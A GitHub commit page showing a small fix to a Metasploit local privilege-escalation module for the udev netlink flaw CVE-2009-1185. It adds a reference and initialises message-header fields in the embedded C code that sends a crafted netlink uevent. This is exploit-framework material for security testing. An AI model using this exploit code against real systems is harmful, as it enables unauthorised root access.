Skip to content

Commit 16c5df4

Browse files
author
jvazquez-r7
committed
fix while testing ubuntu intrepid
1 parent 5fbc4b8 commit 16c5df4

File tree

1 file changed

+6
-1
lines changed

1 file changed

+6
-1
lines changed

modules/exploits/linux/local/udev_netlink.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,8 @@ def initialize(info={})
5151
'References' =>
5252
[
5353
[ 'CVE', '2009-1185' ],
54-
[ 'BID', '34536' ],
54+
[ 'OSVDB', '53810' ],
55+
[ 'BID', '34536' ]
5556
],
5657
'Targets' =>
5758
[
@@ -148,6 +149,7 @@ def exploit
148149
main = %Q^
149150
#include <string.h>
150151
#include <linux/netlink.h>
152+
#define NULL 0
151153
152154
int main() {
153155
int sock;
@@ -166,6 +168,9 @@ def exploit
166168
msg.msg_namelen = sizeof(sa);
167169
msg.msg_iov = &iov;
168170
msg.msg_iovlen = 1;
171+
msg.msg_control = NULL;
172+
msg.msg_controllen = 0;
173+
msg.msg_flags = 0;
169174
170175
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
171176
bind(sock, (struct sockaddr *) &sa, sizeof(sa));

0 commit comments

Comments
 (0)